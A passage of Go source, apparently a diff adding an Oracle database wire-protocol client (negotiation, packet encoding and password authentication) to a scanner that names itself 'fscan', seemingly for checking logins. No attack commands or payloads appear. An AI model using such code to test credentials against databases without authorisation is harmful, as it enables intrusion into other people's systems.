s.out.Reset() + return err + } + payload = payload[segmentLen:] + } + err := s.writeDataPacket(payload, 0) + s.out.Reset() + return err +} + +func (s *oracleSession) writeDataPacket(payload []byte, dataFlag uint16) error { + length := uint32(len(payload) + 10) + buf := make([]byte, length) + if s.handshakeComplete && s.version >= 315 { + binary.BigEndian.PutUint32(buf[0:4], length) + } else { + binary.BigEndian.PutUint16(buf[0:2], uint16(length)) + } + buf[4] = oraclePacketData + binary.BigEndian.PutUint16(buf[8:10], dataFlag) + copy(buf[10:], payload) + if s.timeout > 0 { + _ = s.conn.SetWriteDeadline(time.Now().Add(s.timeout)) + } + _, err := s.conn.Write(buf) + return err +} + +func (s *oracleSession) reset() { + s.in = nil + s.out.Reset() + s.index = 0 + s.summary = nil +} + +func (s *oracleSession) read(n int) ([]byte, error) { + for s.index+n > len(s.in) { + p, err := s.readPacket() + if err != nil { + return nil, err + } + if p.typ == oraclePacketResend { + return nil, errors.New("oracle resend is not supported") + } + if p.typ != oraclePacketData { + return nil, fmt.Errorf("expected oracle data packet, got %d", p.typ) + } + } + ret := s.in[s.index : s.index+n] + s.index += n + return ret, nil +} + +func (s *oracleSession) putBytes(data ...byte) { + s.out.Write(data) +} + +func (s *oracleSession) putString(v string) { + s.putClr([]byte(v)) +} + +func (s *oracleSession) putInt(v interface{}, size uint8, bigEndian, compress bool) { + num := toInt64(v) + if compress { + neg := num < 0 + encoded := uint64(num) + if neg { + encoded = uint64(-(num + 1)) + 1 + } + temp := make([]byte, 8) + binary.BigEndian.PutUint64(temp, encoded) + temp = bytes.TrimLeft(temp, "\x00") + if size > uint8(len(temp)) { + size = uint8(len(temp)) + } + if size == 0 { + s.out.WriteByte(0) + return + } + if neg { + size |= 0x80 + } + s.out.WriteByte(size) + s.out.Write(temp) + return + } + if size == 1 { + s.out.WriteByte(uint8(num)) + return + } + temp := make([]byte, size) + if bigEndian { + switch size { + case 2: + binary.BigEndian.PutUint16(temp, uint16(num)) + case 4: + binary.BigEndian.PutUint32(temp, uint32(num)) + case 8: + binary.BigEndian.PutUint64(temp, uint64(num)) + } + } else { + switch size { + case 2: + binary.LittleEndian.PutUint16(temp, uint16(num)) + case 4: + binary.LittleEndian.PutUint32(temp, uint32(num)) + case 8: + binary.LittleEndian.PutUint64(temp, uint64(num)) + } + } + s.out.Write(temp) +} + +func (s *oracleSession) putUint(v interface{}, size uint8, bigEndian, compress bool) { + num := toUint64(v) + if size == 1 { + s.out.WriteByte(uint8(num)) + return + } + if compress { + temp := make([]byte, 8) + binary.BigEndian.PutUint64(temp, num) + temp = bytes.TrimLeft(temp, "\x00") + if size > uint8(len(temp)) { + size = uint8(len(temp)) + } + if size == 0 { + s.out.WriteByte(0) + return + } + s.out.WriteByte(size) + s.out.Write(temp) + return + } + temp := make([]byte, size) + if bigEndian { + switch size { + case 2: + binary.BigEndian.PutUint16(temp, uint16(num)) + case 4: + binary.BigEndian.PutUint32(temp, uint32(num)) + case 8: + binary.BigEndian.PutUint64(temp, num) + } + } else { + switch size { + case 2: + binary.LittleEndian.PutUint16(temp, uint16(num)) + case 4: + binary.LittleEndian.PutUint32(temp, uint32(num)) + case 8: + binary.LittleEndian.PutUint64(temp, num) + } + } + s.out.Write(temp) +} + +func (s *oracleSession) putClr(data []byte) { + if len(data) > 0xfc { + s.out.WriteByte(0xfe) + for start := 0; start < len(data); start += s.clrChunkSize { + end := start + s.clrChunkSize + if end > len(data) { + end = len(data) + } + chunk := data[start:end] + if s.useBigClrChunks { + s.putInt(len(chunk), 4, true, true) + } else { + s.out.WriteByte(uint8(len(chunk))) + } + s.out.Write(chunk) + } + s.out.WriteByte(0) + return + } + if len(data) == 0 { + s.out.WriteByte(0) + return + } + s.out.WriteByte(uint8(len(data))) + s.out.Write(data) +} + +func (s *oracleSession) putKeyValString(key, val string, num uint8) { + s.putKeyVal([]byte(key), []byte(val), num) +} + +func (s *oracleSession) putKeyVal(key, val []byte, num uint8) { + if len(key) == 0 { + s.out.WriteByte(0) + } else { + s.putUint(len(key), 4, true, true) + s.putClr(key) + } + if len(val) == 0 { + s.out.WriteByte(0) + } else { + s.putUint(len(val), 4, true, true) + s.putClr(val) + } + s.putInt(num, 4, true, true) +} + +func (s *oracleSession) getByte() (uint8, error) { + b, err := s.read(1) + if err != nil { + return 0, err + } + return b[0], nil +} + +func (s *oracleSession) getBytes(n int) ([]byte, error) { + return s.read(n) +} + +func (s *oracleSession) getInt(size int, compress, bigEndian bool) (int, error) { + v, err := s.getInt64(size, compress, bigEndian) + return int(v), err +} + +func (s *oracleSession) getInt64(size int, compress, bigEndian bool) (int64, error) { + neg := false + if compress { + b, err := s.read(1) + if err != nil { + return 0, err + } + size = int(b[0]) + if size&0x80 != 0 { + neg = true + size &= 0x7f + } + bigEndian = true + } + if size == 0 { + return 0, nil + } + if size > 8 { + return 0, fmt.Errorf("invalid oracle integer size %d", size) + } + b, err := s.read(size) + if err != nil { + return 0, err + } + tmp := make([]byte, 8) + if bigEndian { + copy(tmp[8-size:], b) + v := int64(binary.BigEndian.Uint64(tmp)) + if neg { + v = -v + } + return v, nil + } + copy(tmp[:size], b) + v := int64(binary.LittleEndian.Uint64(tmp)) + if neg { + v = -v + } + return v, nil +} + +func (s *oracleSession) getNullTermString(maxSize int) (string, error) { + oldIndex := s.index + b, err := s.read(maxSize) + if err != nil { + return "", err + } + if i := bytes.IndexByte(b, 0); i >= 0 { + s.index = oldIndex + i + 1 + return string(b[:i]), nil + } + return string(b), nil +} + +func (s *oracleSession) getClr() ([]byte, error) { + nb, err := s.getByte() + if err != nil { + return nil, err + } + if nb == 0 || nb == 0xff || nb == 0xfd { + return nil, nil + } + chunkSize := int(nb) + var out bytes.Buffer + if chunkSize == 0xfe { + for { + if s.useBigClrChunks { + chunkSize, err = s.getInt(4, true, true) + } else { + nb, err = s.getByte() + chunkSize = int(nb) + } + if err != nil || chunkSize == 0 { + return out.Bytes(), err + } + chunk, err := s.getBytes(chunkSize) + if err != nil { + return nil, err + } + out.Write(chunk) + } + } + chunk, err := s.getBytes(chunkSize) + if err != nil { + return nil, err + } + out.Write(chunk) + return out.Bytes(), nil +} + +func (s *oracleSession) getDlc() ([]byte, error) { + length, err := s.getInt(4, true, true) + if err != nil || length <= 0 { + return nil, err + } + out, err := s.getClr() + if len(out) > length { + out = out[:length] + } + return out, err +} + +func (s *oracleSession) getKeyVal() ([]byte, []byte, int, error) { + key, err := s.getDlc() + if err != nil { + return nil, nil, 0, err + } + val, err := s.getDlc() + if err != nil { + return nil, nil, 0, err + } + num, err := s.getInt(4, true, true) + return key, val, num, err +} + +func toInt64(v interface{}) int64 { + switch n := v.(type) { + case int: + return int64(n) + case int16: + return int64(n) + case int32: + return int64(n) + case int64: + return n + case uint8: + return int64(n) + case uint16: + return int64(n) + case uint32: + return int64(n) + case uint64: + return int64(n) + case uint: + return int64(n) + default: + panic("oracle integer encoder expects an integer") + } +} + +func toUint64(v interface{}) uint64 { + switch n := v.(type) { + case int: + return uint64(n) + case int16: + return uint64(n) + case int32: + return uint64(n) + case int64: + return uint64(n) + case uint8: + return uint64(n) + case uint16: + return uint64(n) + case uint32: + return uint64(n) + case uint64: + return n + case uint: + return uint64(n) + default: + panic("oracle integer encoder expects an integer") + } +} + +func (s *oracleSession) advancedNegotiation() error { + s.reset() + s.writeANOHeader(101, 4, 0) + s.writeANOServiceHeader(4, 3) + s.writeANOVersion() + s.writeANOBytes([]byte{0, 0, 16, 28, 102, 236, 40, 234}) + s.writeANOUB2Array([]int{4, 1, 2, 3}) + s.writeANOServiceHeader(1, 3) + s.writeANOVersion() + s.writeANOStatus(0xfcff) + s.writeANOServiceHeader(2, 3) + s.writeANOVersion() + s.writeANOBytes([]byte{0}) + s.writeANOUB1(1) + s.writeANOServiceHeader(3, 2) + s.writeANOVersion() + s.writeANOBytes([]byte{0}) + if err := s.writeData(); err != nil { + return err + } + header, err := s.readANOHeader() + if err != nil { + return err + } + for i := 0; i < header.serviceCount; i++ { + serviceType, subPackets, errCode, err := s.readANOServiceHeader() + if err != nil { + return err + } + if errCode != 0 { + return fmt.Errorf("oracle advanced negotiation error ora-%d", errCode) + } + if err := s.readANOServiceData(serviceType, subPackets); err != nil { + return err + } + } + return nil +} + +type oracleANOHeader struct { + serviceCount int +} + +func (s *oracleSession) writeANOHeader(length, serviceCount int, flags uint8) { + s.putInt(uint64(0xdeadbeef), 4, true, false) + s.putInt(length, 2, true, false) + s.putInt(0x0b200200, 4, true, false) + s.putInt(serviceCount, 2, true, false) + s.putBytes(flags) +} + +func (s *oracleSession) writeANOServiceHeader(serviceType, subPackets int) { + s.putInt(serviceType, 2, true, false) + s.putInt(subPackets, 2, true, false) + s.putInt(0, 4, true, false) +} + +func (s *oracleSession) writeANOPacketHeader(length, typ int) { + s.putInt(length, 2, true, false) + s.putInt(typ, 2, true, false) +} + +func (s *oracleSession) writeANOVersion() { + s.writeANOPacketHeader(4, 5) + s.putInt(0x0b200200, 4, true, false) +} + +func (s *oracleSession) writeANOStatus(status int) { + s.writeANOPacketHeader(2, 6) + s.putInt(status, 2, true, false) +} + +func (s *oracleSession) writeANOBytes(b []byte) { + s.writeANOPacketHeader(len(b), 1) + s.putBytes(b...) +} + +func (s *oracleSession) writeANOUB1(v uint8) { + s.writeANOPacketHeader(1, 2) + s.putBytes(v) +} + +func (s *oracleSession) writeANOUB2Array(v []int) { + s.writeANOPacketHeader(10+len(v)*2, 1) + s.putInt(uint64(0xdeadbeef), 4, true, false) + s.putInt(3, 2, true, false) + s.putInt(len(v), 4, true, false) + for _, n := range v { + s.putInt(n, 2, true, false) + } +} + +func (s *oracleSession) readANOHeader() (*oracleANOHeader, error) { + magic, err := s.getInt64(4, false, true) + if err != nil { + return nil, err + } + if magic != 0xdeadbeef { + return nil, errors.New("oracle advanced negotiation header mismatch") + } + if _, err = s.getInt(2, false, true); err != nil { + return nil, err + } + if _, err = s.getInt(4, false, true); err != nil { + return nil, err + } + count, err := s.getInt(2, false, true) + if err != nil { + return nil, err + } + if _, err = s.getByte(); err != nil { + return nil, err + } + return &oracleANOHeader{serviceCount: count}, nil +} + +func (s *oracleSession) readANOServiceHeader() (int, int, int, error) { + serviceType, err := s.getInt(2, false, true) + if err != nil { + return 0, 0, 0, err + } + subPackets, err := s.getInt(2, false, true) + if err != nil { + return 0, 0, 0, err + } + errCode, err := s.getInt(4, false, true) + return serviceType, subPackets, errCode, err +} + +func (s *oracleSession) readANOPacketHeader(expectType int) (int, error) { + length, err := s.getInt(2, false, true) + if err != nil { + return 0, err + } + typ, err := s.getInt(2, false, true) + if err != nil { + return 0, err + } + if typ != expectType { + return 0, fmt.Errorf("oracle advanced negotiation type mismatch: %d", typ) + } + return length, nil +} + +func (s *oracleSession) readANOServiceData(serviceType, subPackets int) error { + switch serviceType { + case 1: + if _, err := s.readANOVersion(); err != nil { + return err + } + status, err := s.readANOStatus() + if err != nil { + return err + } + if status == 0xfaff && subPackets > 2 { + if _, err = s.readANOUB1(); err != nil { + return err + } + name, err := s.readANOString() + if err != nil { + return err + } + if name != "" && name != "TCPS" { + return fmt.Errorf("unsupported oracle authentication service %s", name) + } + } else if status != 0xfbff { + return errors.New("oracle advanced authentication negotiation failed") + } + case 2, 3: + if _, err := s.readANOVersion(); err != nil { + return err + } + algo, err := s.readANOUB1() + if err != nil { + return err + } + if algo != 0 { + return fmt.Errorf("unsupported oracle advanced service algorithm %d", algo) + } + for i := 2; i < subPackets; i++ { + if err := s.skipANOPacket(); err != nil { + return err + } + } + case 4: + if _, err := s.readANOVersion(); err != nil { + return err + } + if _, err := s.readANOStatus(); err != nil { + return err + } + _, err := s.readANOBytes() + return err + default: + for i := 0; i < subPackets; i++ { + if err := s.skipANOPacket(); err != nil { + return err + } + } + } + return nil +} + +func (s *oracleSession) readANOVersion() (uint32, error) { + if _, err := s.readANOPacketHeader(5); err != nil { + return 0, err + } + v, err := s.getInt(4, false, true) + return uint32(v), err +} + +func (s *oracleSession) readANOStatus() (int, error) { + if _, err := s.readANOPacketHeader(6); err != nil { + return 0, err + } + return s.getInt(2, false, true) +} + +func (s *oracleSession) readANOUB1() (uint8, error) { + if _, err := s.readANOPacketHeader(2); err != nil { + return 0, err + } + return s.getByte() +} + +func (s *oracleSession) readANOString() (string, error) { + length, err := s.readANOPacketHeader(0) + if err != nil { + return "", err + } + b, err := s.getBytes(length) + return string(b), err +} + +func (s *oracleSession) readANOBytes() ([]byte, error) { + length, err := s.readANOPacketHeader(1) + if err != nil { + return nil, err + } + return s.getBytes(length) +} + +func (s *oracleSession) skipANOPacket() error { + length, err := s.getInt(2, false, true) + if err != nil { + return err + } + if _, err = s.getInt(2, false, true); err != nil { + return err + } + if length > 0 { + _, err = s.getBytes(length) + } + return err +} + +func (s *oracleSession) protocolNegotiation() (*oracleTCPNego, error) { + s.reset() + s.putBytes(1, 6, 0) + s.putBytes([]byte("OracleClientGo\x00")...) + if err := s.writeData(); err != nil { + return nil, err + } + msg, err := s.getByte() + if err != nil { + return nil, err + } + if msg != 1 { + return nil, fmt.Errorf("oracle protocol negotiation expected message 1, got %d", msg) + } + proto, err := s.getByte() + if err != nil { + return nil, err + } + if proto != 4 && proto != 5 && proto != 6 { + return nil, errors.New("unsupported oracle server protocol version") + } + if _, err = s.getByte(); err != nil { + return nil, err + } + if _, err = s.getNullTermString(50); err != nil { + return nil, err + } + serverCharset, err := s.getInt(2, false, false) + if err != nil { + return nil, err + } + serverFlags, err := s.getByte() + if err != nil { + return nil, err + } + charsetElem, err := s.getInt(2, false, false) + if err != nil { + return nil, err + } + if charsetElem > 0 { + if _, err = s.getBytes(charsetElem * 5); err != nil { + return nil, err + } + } + len1, err := s.getInt(2, false, true) + if err != nil { + return nil, err + } + numArray, err := s.getBytes(len1) + if err != nil { + return nil, err + } + if len(numArray) < 11 { + return nil, errors.New("short oracle charset negotiation") + } + offset := int(6 + numArray[5] + numArray[6]) + if len(numArray) < offset+5 { + return nil, errors.New("short oracle ncharset negotiation") + } + serverNCharset := int(binary.BigEndian.Uint16(numArray[offset+3 : offset+5])) + len2, err := s.getByte() + if err != nil { + return nil, err + } + compileCaps, err := s.getBytes(int(len2)) + if err != nil { + return nil, err + } + len3, err := s.getByte() + if err != nil { + return nil, err + } + runtimeCaps, err := s.getBytes(int(len3)) + if err != nil { + return nil, err + } + if len(compileCaps) < 8 { + return nil, errors.New("oracle server compile caps too short") + } + if len(compileCaps) > 15 && compileCaps[15]&1 != 0 { + s.hasEOSCapability = true + } + if len(compileCaps) > 16 && compileCaps[16]&1 != 0 { + s.hasFSAPCapability = true + } + if len(compileCaps) > 37 && compileCaps[37]&32 != 0 { + s.useBigClrChunks = true + s.clrChunkSize = 0x7fff + } + return &oracleTCPNego{ + serverCharset: serverCharset, + serverFlags: serverFlags | 2, + serverNCharset: serverNCharset, + serverCompileTimeCaps: compileCaps, + serverRuntimeCaps: runtimeCaps, + }, nil +} + +func (s *oracleSession) dataTypeNegotiation(nego *oracleTCPNego) error { + compileCaps := []byte{ + 6, 1, 0, 0, 106, 1, 1, 11, + 1, 1, 1, 1, 1, 1, 0, 41, + 144, 3, 7, 3, 0, 1, 0, 235, + 1, 0, 5, 1, 0, 0, 0, 24, + 0, 0, 7, 32, 2, 58, 0, 0, + 5, 0, 0, 0, 8, + } + if len(nego.serverCompileTimeCaps) <= 27 || nego.serverCompileTimeCaps[27] == 0 { + compileCaps[27] = 0 + } + if len(nego.serverCompileTimeCaps) > 7 && nego.serverCompileTimeCaps[7] < 7 { + compileCaps[36] = 0 + } + if len(nego.serverCompileTimeCaps) <= 37 || nego.serverCompileTimeCaps[37]&2 != 2 { + compileCaps[37] = 0 + compileCaps[1] = 0 + } + runtimeCaps := []byte{2, 1, 0, 0, 0, 0, 0} + if len(nego.serverRuntimeCaps) < 2 || nego.serverRuntimeCaps[1]&1 != 1 { + runtimeCaps[1] = 0 + } + if len(nego.serverRuntimeCaps) > 6 { + if nego.serverRuntimeCaps[6]&4 == 4 { + runtimeCaps[6] |= 4 + } + if nego.serverRuntimeCaps[6]&2 == 2 { + runtimeCaps[6] |= 2 + } + } + typeReps := oracleTypeReps(nego, compileCaps) + s.reset() + s.putBytes(2) + s.putInt(nego.serverCharset, 2, false, false) + s.putInt(nego.serverCharset, 2, false, false) + s.putBytes(nego.serverFlags, uint8(len(compileCaps))) + s.putBytes(compileCaps...) + s.putBytes(uint8(len(runtimeCaps))) + s.putBytes(runtimeCaps...) + if runtimeCaps[1]&1 == 1 { + s.putBytes(oracleTZBytes()...) + if compileCaps[37]&2 == 2 { + s.putInt(0x20, 4, true, false) + } + } + s.putInt(nego.serverNCharset, 2, false, false) + if compileCaps[27] == 0 { + for _, v := range typeReps { + s.putBytes(uint8(v)) + } + s.putBytes(0) + } else { + for _, v := range typeReps { + s.putInt(v, 2, true, false) + } + s.putBytes(0, 0) + } + if err := s.writeData(); err != nil { + return err + } + msg, err := s.getByte() + if err != nil { + return err + } + if msg != 2 { + return fmt.Errorf("oracle data type negotiation expected message 2, got %d", msg) + } + if runtimeCaps[1] == 1 { + if _, err = s.getBytes(11); err != nil { + return err + } + if compileCaps[37]&2 == 2 { + if _, err = s.getInt(4, false, true); err != nil { + return err + } + } + } + level := 0 + for { + var n int + if compileCaps[27] == 0 { + n, err = s.getInt(1, false, false) + } else { + n, err = s.getInt(2, false, true) + } + if err != nil { + return err + } + if n == 0 && level == 0 { + break + } + if n == 0 && level == 1 { + level = 0 + continue + } + if level == 3 { + level = 0 + continue + } + level++ + } + if len(compileCaps) > 7 && len(nego.serverCompileTimeCaps) > 7 { + s.ttcVersion = compileCaps[7] + if nego.serverCompileTimeCaps[7] < s.ttcVersion { + s.ttcVersion = nego.serverCompileTimeCaps[7] + } + } + return nil +} + +func oracleTypeReps(nego *oracleTCPNego, compileCaps []byte) []int16 { + reps := make([]int16, 0, 96) + add := func(dty, ndty, rep int16) { + reps = append(reps, dty, ndty) + if ndty != 0 { + reps = append(reps, rep, 0) + } + } + add(1, 1, oracleTypeRepUniversal) // NCHAR + add(2, 2, oracleTypeRepOracle) // NUMBER + add(8, 8, oracleTypeRepUniversal) // LONG + add(12, 12, oracleTypeRepOracle) // DATE + add(23, 23, oracleTypeRepUniversal) // RAW + add(24, 24, oracleTypeRepUniversal) // LONG RAW + add(25, 25, oracleTypeRepUniversal) + add(26, 26, oracleTypeRepUniversal) + add(27, 27, oracleTypeRepUniversal) + add(28, 28, oracleTypeRepUniversal) + add(29, 29, oracleTypeRepUniversal) + add(30, 30, oracleTypeRepUniversal) + add(31, 31, oracleTypeRepUniversal) + add(32, 32, oracleTypeRepUniversal) + add(33, 33, oracleTypeRepUniversal) + add(10, 10, oracleTypeRepUniversal) + add(11, 11, oracleTypeRepUniversal) // ROWID + add(3, 2, oracleTypeRepOracle) + add(4, 2, oracleTypeRepOracle) + add(5, 1, oracleTypeRepUniversal) + add(6, 2, oracleTypeRepOracle) + add(7, 2, oracleTypeRepOracle) + add(9, 1, oracleTypeRepUniversal) // VARCHAR + add(15, 1, oracleTypeRepUniversal) + add(39, 120, oracleTypeRepUniversal) + add(58, 0, oracleTypeRepNative) + add(68, 2, oracleTypeRepOracle) + add(69, 0, oracleTypeRepNative) + add(70, 0, oracleTypeRepNative) + add(74, 0, oracleTypeRepNative) + add(76, 0, oracleTypeRepNative) + add(91, 2, oracleTypeRepOracle) + add(94, 1, oracleTypeRepUniversal) + add(95, 23, oracleTypeRepUniversal) + add(96, 96, oracleTypeRepUniversal) + add(97, 96, oracleTypeRepUniversal) + add(100, 100, oracleTypeRepUniversal) + add(101, 101, oracleTypeRepUniversal) + add(102, 102, oracleTypeRepUniversal) + add(104, 11, oracleTypeRepUniversal) + add(105, 0, oracleTypeRepNative) + add(106, 106, oracleTypeRepUniversal) + add(112, 112, oracleTypeRepUniversal) + add(113, 113, oracleTypeRepUniversal) + add(114, 114, oracleTypeRepUniversal) + add(115, 115, oracleTypeRepUniversal) + add(116, 102, oracleTypeRepUniversal) + add(118, 0, oracleTypeRepNative) + add(119, 119, oracleTypeRepNative) // JSON + add(127, 127, oracleTypeRepUniversal) + add(208, 208, oracleTypeRepUniversal) + _ = nego + _ = compileCaps + return reps +} + +func oracleTZBytes() []byte { + _, offset := time.Now().Zone() + hours := int8(offset / 3600) + minutes := int8((offset / 60) % 60) + seconds := int8(offset % 60) + return []byte{128, 0, 0, 0, uint8(hours + 60), uint8(minutes + 60), uint8(seconds + 60), 128, 0, 0, 0} +} + +func (s *oracleSession) authenticate(nego *oracleTCPNego, host string, port int, serviceName, username, password string) error { + s.reset() + s.putBytes(3, 0x76, 0, 1) + s.putUint(len(username), 4, true, true) + s.putUint(oracleNoNewPass, 4, true, true) + s.putBytes(1, 1, 5, 1, 1) + if username != "" { + s.putString(username) + } + s.putKeyValString("AUTH_TERMINAL", "", 0) + s.putKeyValString("AUTH_PROGRAM_NM", "", 0) + s.putKeyValString("AUTH_MACHINE", "", 0) + s.putKeyValString("AUTH_PID", "0", 0) + s.putKeyValString("AUTH_SID", "", 0) + if err := s.writeData(); err != nil { + return err + } + auth, err := s.readAuthChallenge(username, password, nego) + if err != nil { + return err + } + return s.writeAuthResponse(auth, nego, host, port, serviceName, username) +} + +type oracleAuthObject struct { + eServerSessKey string + eClientSessKey string + ePassword string + eSpeedyKey string + serverSessKey []byte + clientSessKey []byte + salt string + pbkdf2ChkSalt string + pbkdf2VgenCount int + pbkdf2SderCount int + verifierType int + customHash bool +} + +func (s *oracleSession) readAuthChallenge(username, password string, nego *oracleTCPNego) (*oracleAuthObject, error) { + auth := &oracleAuthObject{customHash: len(nego.serverCompileTimeCaps) > 4 && nego.serverCompileTimeCaps[4]&32 != 0} + for { + msg, err := s.getByte() + if err != nil { + return nil, err + } + switch msg { + case 8: + dictLen, err := s.getInt(4, true, true) + if err != nil { + return nil, err + } + for i := 0; i < dictLen; i++ { + key, val, num, err := s.getKeyVal() + if err != nil { + return nil, err + } + switch string(key) { + case "AUTH_SESSKEY": + if auth.eServerSessKey == "" { + auth.eServerSessKey = string(val) + } + case "AUTH_VFR_DATA": + if auth.salt == "" { + auth.salt = string(val) + auth.verifierType = num + } + case "AUTH_PBKDF2_CSK_SALT": + auth.pbkdf2ChkSalt = string(val) + if len(auth.pbkdf2ChkSalt) != 32 { + return nil, errors.New("oracle authentication protocol internal error") + } + case "AUTH_PBKDF2_VGEN_COUNT": + auth.pbkdf2VgenCount, _ = strconv.Atoi(string(val)) + if auth.pbkdf2VgenCount < 4096 || auth.pbkdf2VgenCount > 100000000 { + auth.pbkdf2VgenCount = 4096 + } + case "AUTH_PBKDF2_SDER_COUNT": + auth.pbkdf2SderCount, _ = strconv.Atoi(string(val)) + if auth.pbkdf2SderCount < 3 || auth.pbkdf2SderCount > 100000000 { + auth.pbkdf2SderCount = 3 + } + } + } + default: + err := s.readMsg(msg) + if err != nil { + return nil, err + } + if msg == 4 { + if s.hasError() { + return nil, s.oracleError() + } + return auth.finish(username, password, nego) + } + } + } +} + +func (auth *oracleAuthObject) finish(username, password string, nego *oracleTCPNego) (*oracleAuthObject, error) { + if len(auth.eServerSessKey) != 64 && len(auth.eServerSessKey) != 96 { + return nil, errors.New("oracle session key should be either 64 or 96 bytes long") + } + var key []byte + var speedyKey []byte + padding := false + var err error + switch auth.verifierType { + case 2361: + key, err = oracleKeyFromUserPass(username, password) + case 6949: + if len(nego.serverCompileTimeCaps) > 4 && nego.serverCompileTimeCaps[4]&2 == 0 { + padding = true + } + salt, err := hex.DecodeString(auth.salt) + if err != nil { + return nil, err + } + h := sha1.New() + _, _ = h.Write(append([]byte(password), salt...)) + key = append(h.Sum(nil), 0, 0, 0, 0) + case 18453: + salt, err := hex.DecodeString(auth.salt) + if err != nil { + return nil, err + } + message := append(salt, []byte("AUTH_PBKDF2_SPEEDY_KEY")...) + speedyKey = oracleGenerateSpeedyKey(message, []byte(password), auth.pbkdf2VgenCount) + h := sha512.New() + _, _ = h.Write(append(speedyKey, salt...)) + key = h.Sum(nil)[:32] + default: + return nil, fmt.Errorf("unsupported oracle verifier type %d", auth.verifierType) + } + if err != nil { + return nil, err + } + auth.serverSessKey, err = oracleDecryptSessionKey(padding, key, auth.eServerSessKey) + if err != nil { + return nil, err + } + auth.clientSessKey = make([]byte, len(auth.serverSessKey)) + for { + if _, err = rand.Read(auth.clientSessKey); err != nil { + return nil, err + } + if !bytes.Equal(auth.clientSessKey, auth.serverSessKey) { + break + } + } + auth.eClientSessKey, err = oracleEncryptSessionKey(padding, key, auth.clientSessKey) + if err != nil { + return nil, err + } + newKey, err := auth.passwordEncKey(nego) + if err != nil { + return nil, err + } + auth.ePassword, err = oracleEncryptPassword([]byte(password), newKey, true) + if err != nil { + return nil, err + } + if auth.verifierType == 18453 { + auth.eSpeedyKey, err = oracleEncryptPassword(speedyKey, newKey, false) + if err != nil { + return nil, err + } + } + return auth, nil +} + +func (s *oracleSession) writeAuthResponse(auth *oracleAuthObject, nego *oracleTCPNego, host string, port int, serviceName, username string) error { + keys := []struct { + key string + val string + flag uint8 + }{ + {"AUTH_SESSKEY", auth.eClientSessKey, 1}, + {"AUTH_PASSWORD", auth.ePassword, 0}, + } + if auth.eSpeedyKey != "" { + keys = append(keys, struct { + key string + val string + flag uint8 + }{"AUTH_PBKDF2_SPEEDY_KEY", auth.eSpeedyKey, 0}) + } + keys = append(keys, + struct { + key string + val string + flag uint8 + }{"AUTH_TERMINAL", "", 0}, + struct { + key string + val string + flag uint8 + }{"AUTH_PROGRAM_NM", "", 0}, + struct { + key string + val string + flag uint8 + }{"AUTH_MACHINE", "", 0}, + struct { + key string + val string + flag uint8 + }{"AUTH_PID", "0", 0}, + struct { + key string + val string + flag uint8 + }{"AUTH_SID", "", 0}, + struct { + key string + val string + flag uint8 + }{"AUTH_CONNECT_STRING", oracleConnectData(host, port, serviceName), 0}, + struct { + key string + val string + flag uint8 + }{"SESSION_CLIENT_CHARSET", strconv.Itoa(nego.serverCharset), 0}, + struct { + key string + val string + flag uint8 + }{"SESSION_CLIENT_LIB_TYPE", "0", 0}, + struct { + key string + val string + flag uint8 + }{"SESSION_CLIENT_DRIVER_NAME", "fscan", 0}, + struct { + key string + val string + flag uint8 + }{"SESSION_CLIENT_VERSION", "2.0.0.0", 0}, + struct { + key string + val string + flag uint8 + }{"SESSION_CLIENT_LOBATTR", "1", 0}, + struct { + key string + val string + flag uint8 + }{"AUTH_ALTER_SESSION", oracleAlterSession(), 1}, + ) + s.reset() + s.putBytes(3, 0x73, 0) + if username != "" { + s.putBytes(1) + s.putInt(len(username), 4, true, true) + } else { + s.putBytes(0, 0) + } + s.putUint(oracleUserAndPass|oracleNoNewPass, 4, true, true) + s.putBytes(1) + s.putUint(len(keys), 4, true, true) + s.putBytes(1, 1) + if username != "" { + s.putString(username) + } + for _, kv := range keys { + if kv.val == "" && (kv.key == "AUTH_SESSKEY" || kv.key == "AUTH_PASSWORD") { + continue + } + s.putKeyValString(kv.key, kv.val, kv.flag) + } + if err := s.writeData(); err != nil { + return err + } + for { + msg, err := s.getByte() + if err != nil { + return err + } + if err := s.readMsg(msg); err != nil { + return err + } + if msg == 4 || msg == 9 { + if s.hasError() { + err := s.oracleError() + if classifyOracleErrorType(err) == ErrorTypeAuth { + return fmt.Errorf("%w: %v", errOracleAuthFailed, err) + } + return err + } + return nil + } + } +} + +func oracleAlterSession() string { + _, offset := time.Now().Zone() + hours := int8(offset / 3600) + minutes := int8((offset / 60) % 60) + if minutes < 0 { + minutes = -minutes + } + tz := fmt.Sprintf("%+03d:%02d", hours, minutes) + return fmt.Sprintf("ALTER SESSION SET NLS_LANGUAGE='AMERICAN' NLS_TERRITORY='AMERICA' TIME_ZONE='%s'\x00", tz) +} + +func (s *oracleSession) readMsg(msg uint8) error { + switch msg { + case 4: + sum, err := s.readSummary() + if err != nil { + return err + } + s.summary = sum + case 8: + size, err := s.getInt(2, true, true) + if err != nil { + return err + } + for i := 0; i < size; i++ { + if _, err = s.getInt(4, true, true); err != nil { + return err + } + } + if _, err = s.getInt(2, true, true); err != nil { + return err + } + size, err = s.getInt(2, true, true) + if err != nil { + return err + } + for i := 0; i < size; i++ { + if _, _, _, err = s.getKeyVal(); err != nil { + return err + } + } + if s.ttcVersion >= 4 { + qLen, err := s.getInt(4, true, true) + if err != nil { + return err + } + if qLen > 0 { + if _, err = s.getBytes(qLen); err != nil { + return err + } + } + } + if s.ttcVersion >= 7 { + length, err := s.getInt(4, true, true) + if err != nil { + return err + } + for i := 0; i < length; i++ { + if _, err = s.getInt(8, true, true); err != nil { + return err + } + } + } + case 9: + if s.hasEOSCapability { + if _, err := s.getInt(4, true, true); err != nil { + return err + } + } + if s.hasFSAPCapability { + if _, err := s.getInt(2, true, true); err != nil { + return err + } + } + case 15: + if _, err := s.getInt(2, true, true); err != nil { + return err + } + length, err := s.getInt(2, true, true) + if err != nil { + return err + } + if _, err = s.getInt(2, true, true); err != nil { + return err + } + if length > 0 { + _, err = s.getClr() + return err + } + default: + return fmt.Errorf("oracle TTC unexpected message %d", msg) + } + return nil +} + +func (s *oracleSession) readSummary() (*oracleSummary, error) { + sum := &oracleSummary{} + var err error + if s.hasEOSCapability { + if _, err = s.getInt(4, true, true); err != nil { + return nil, err + } + } + if s.ttcVersion >= 3 && s.hasFSAPCapability { + if _, err = s.getInt(2, true, true); err != nil { + return nil, err + } + } + if _, err = s.getInt(4, true, true); err != nil { + return nil, err + } + sum.retCode, err = s.getInt(2, true, true) + if err != nil { + return nil, err + } + fields := []struct { + size int + compress bool + }{ + {2, true}, {2, true}, {2, true}, {2, true}, + } + for _, f := range fields { + if _, err = s.getInt(f.size, f.compress, true); err != nil { + return nil, err + } + } + if _, err = s.getByte(); err 